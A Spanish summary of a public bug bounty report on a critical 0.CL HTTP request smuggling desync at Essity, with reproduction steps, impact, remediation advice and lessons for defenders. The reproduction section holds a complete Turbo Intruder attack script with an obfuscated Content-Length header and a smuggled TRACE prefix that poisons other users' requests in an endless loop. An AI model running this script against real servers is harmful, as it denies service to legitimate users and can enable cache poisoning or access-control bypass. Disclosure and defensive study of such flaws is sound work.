Reports
CRÍTICA[CONFIGURACIÓN]#3589269

Desincronización 0.CL: HTTP request smuggling en Essity

Un desajuste entre cómo el proxy frontal y el servidor de origen interpretan la cabecera Content-Length permitía inyectar una petición en la conexión de otro usuario (desincronización 0.CL) y degradar el servicio.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El investigador encontró una vulnerabilidad de HTTP request smuggling en la infraestructura de Essity. El origen del problema está en una debilidad clásica de HTTP/1.1: cómo se delimita el final de una petición y el comienzo de la siguiente cuando varias viajan por la misma conexión keep-alive.

En este caso se logró una desincronización del tipo 0.CL (zero-dot-CL desync). La idea es enviar una petición con una cabecera Content-Length malformada que los dos saltos de la cadena interpretan de forma distinta: el proxy frontal la ignora y da la petición por terminada, mientras que el servidor de origen (backend) sí hace caso al Content-Length y se queda esperando un cuerpo. Ese desajuste deja "colgado" un trozo de datos controlado por el atacante que acaba pegándose al principio de la siguiente petición que llegue por esa misma conexión, que puede ser la de otro usuario.

Para el contexto teórico, el reporte remite a la investigación pública 0.CL Desync Attacks de PortSwigger.

Pasos de reproducción

El investigador reprodujo el fallo con Burp Suite y la extensión Turbo Intruder, que permite controlar con precisión cómo se encolan varias peticiones sobre una misma conexión.

  1. En Burp Suite, enviar a Turbo Intruder cualquier petición válida cuyo destino sea el objetivo.
  2. Pegar el siguiente script en la ventana de Turbo Intruder (la cookie de sesión que aparecía en el original se ha sustituido por [REDACTADO]):
# Refer to https://portswigger.net/research/http1-must-die
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=100,
                           requestsPerConnection=1,
                           engine=Engine.BURP,
                           maxRetriesPerRequest=0,
                           timeout=15
                           )

    # The attack should contain an early-response gadget and a (maybe obfuscated) Content-Length header with the value set to %s
    stage1 = '''POST /CON HTTP/1.1
Host: '''+host+'''
Cookie: [REDACTADO]
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.44 Safari/537.36
Sec-Ch-Ua: "Not:A-Brand";v="99", "HeadlessChrome";v="145", "Chromium";v="145"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://████████/
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-length:
 %s

'''

    # This will get prefixed to the victim's request - place your payload in here
    smuggled = '''TRACE /assets HTTP/1.1
X: x'''



    # If the server doesn't like GET with a body, try OPTIONS etc
    stage2_chopped = '''GET / HTTP/1.1
Content-Length: 123
X: Y'''

    stage2_revealed = '''GET /robots.txt HTTP/1.1
Host: '''+host+'''
Cookie: [REDACTADO]
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.44 Safari/537.36
Sec-Ch-Ua: "Not:A-Brand";v="99", "HeadlessChrome";v="145", "Chromium";v="145"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://████████/
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

'''

    victim = '''GET / HTTP/1.1
Host: '''+host+'''
Cookie: [REDACTADO]
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.44 Safari/537.36
Sec-Ch-Ua: "Not:A-Brand";v="99", "HeadlessChrome";v="145", "Chromium";v="145"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://████████/
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

'''

    # No need to edit below this line
    if '%s' not in stage1:
        raise Exception('Please place %s in the Content-Length header value')

    if not stage1.endswith('\r\n\r\n'):
        raise Exception('Stage1 request must end with a blank line and have no body')


    while True:
        engine.queue(stage1, len(stage2_chopped), label='stage1', fixContentLength=False)
        engine.queue(stage2_chopped + stage2_revealed + smuggled, label='stage2')
        engine.queue(victim, label='victim')


def handleResponse(req, interesting):
    if req.label == "victim":
        table.add(req)

    # 0.CL attacks use a double desync so they can take a while!
  1. Pulsar "Attack" y esperar.
  2. En la tabla de resultados aparece una víctima simulada interactuando con la aplicación. Su petición a la página de inicio, que normalmente devuelve 200, pasa a devolver de forma intermitente un 405.

La clave está en la cabecera Content-length del stage1, cuyo valor se coloca en una línea aparte precedida de un espacio:

Content-length:
 %s

El proxy frontal no asocia ese valor a la cabecera y da la petición por cerrada, mientras el backend sí lo procesa y queda a la espera. El stage2 completa la doble desincronización y deja preparado un prefijo —una petición que el backend considera incompleta— tomado de la variable smuggled:

    # This will get prefixed to the victim's request - place your payload in here
    smuggled = '''TRACE /assets HTTP/1.1
X: x'''

Cuando la petición de la víctima entra por esa conexión envenenada, se concatena detrás del prefijo, de modo que el backend ve algo así:

TRACE /assets HTTP/1.1
X: xGET / HTTP/1.1
Host: ████████
Cookie: [REDACTADO]
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.44 Safari/537.36
Sec-Ch-Ua: "Not:A-Brand";v="99", "HeadlessChrome";v="145", "Chromium";v="145"
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://████████/
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

La primera línea del GET / de la víctima queda pegada a la cabecera X: del prefijo, su petición deja de ser un GET / limpio y el servidor responde con 405 Method Not Allowed. Esa respuesta anómala es la prueba de que la petición del otro usuario fue manipulada por el atacante.

Impacto

Por sí sola, la técnica provoca una denegación de servicio: el tráfico de usuarios legítimos empieza a generar errores 405 inesperados, lo que deja la aplicación inutilizable mientras dura el ataque.

El investigador señala, apoyándose en la investigación pública sobre estos ataques, que una desincronización como esta suele poder encadenarse con otros vectores para tomar un control mucho mayor de la aplicación: envenenamiento de la cola de respuestas (servir a un usuario la respuesta destinada a otro), XSS "global", envenenamiento o engaño de caché, redirección abierta y saltos de controles de acceso. Es decir, el 405 observado es la demostración mínima, pero el potencial de abuso es considerablemente más alto, de ahí la severidad crítica. Para la lista completa de impactos remite a las notas de PortSwigger sobre explotación de request smuggling.

Remediación

La recomendación más robusta que recoge el reporte es no usar nunca HTTP/1 en los saltos internos: más allá del primer proxy de entrada, todos los servidores de la cadena —incluido el de origen— deberían hablar HTTP/2 de extremo a extremo, lo que elimina la ambigüedad en la delimitación de peticiones.

Cuando eso no es posible (algunos productos todavía no adoptan HTTP/2), la alternativa es aplicar un análisis de peticiones y respuestas HTTP estricto y coherente en todos los proxies de la infraestructura, de forma que ninguno acepte cabeceras Content-Length ambiguas o malformadas y todos coincidan en dónde termina cada petición. Esto suele implicar activar el modo de parsing estricto en la configuración de cada proxy. El reporte enlaza http1mustdie.com como guía.

Qué aprender de este caso

  • La señal reveladora de una desincronización 0.CL es una cabecera Content-Length cuyo valor va en una línea aparte o con espacios raros (como Content-length: seguido del valor en la línea siguiente): si un proxy la ignora y el siguiente la respeta, hay smuggling. Al revisar una cadena de proxies, prueba a enviar Content-Length con whitespace o saltos anómalos y comprueba si todos los saltos coinciden en dónde acaba la petición.
  • Un síntoma observable y de bajo riesgo para detectar el problema es que peticiones normales (GET /) empiecen a devolver códigos impropios de forma intermitente —aquí un 405— sobre conexiones keep-alive compartidas: ese "contagio" entre peticiones es la huella del desajuste.
  • La causa de fondo no está en el código de la aplicación sino en la arquitectura de proxies: mezclar HTTP/1.1 en los tramos internos es lo que abre la puerta. Al diseñar o auditar un despliegue, mira qué protocolo se habla entre el balanceador/CDN y el origen, no solo de cara al cliente.
  • La mitigación de fondo es homogeneizar el parsing: dos servidores que interpretan la misma petición de forma distinta son el ingrediente del smuggling, así que conviene que todos usen el mismo modo estricto en lugar de confiar en los valores por defecto de cada producto.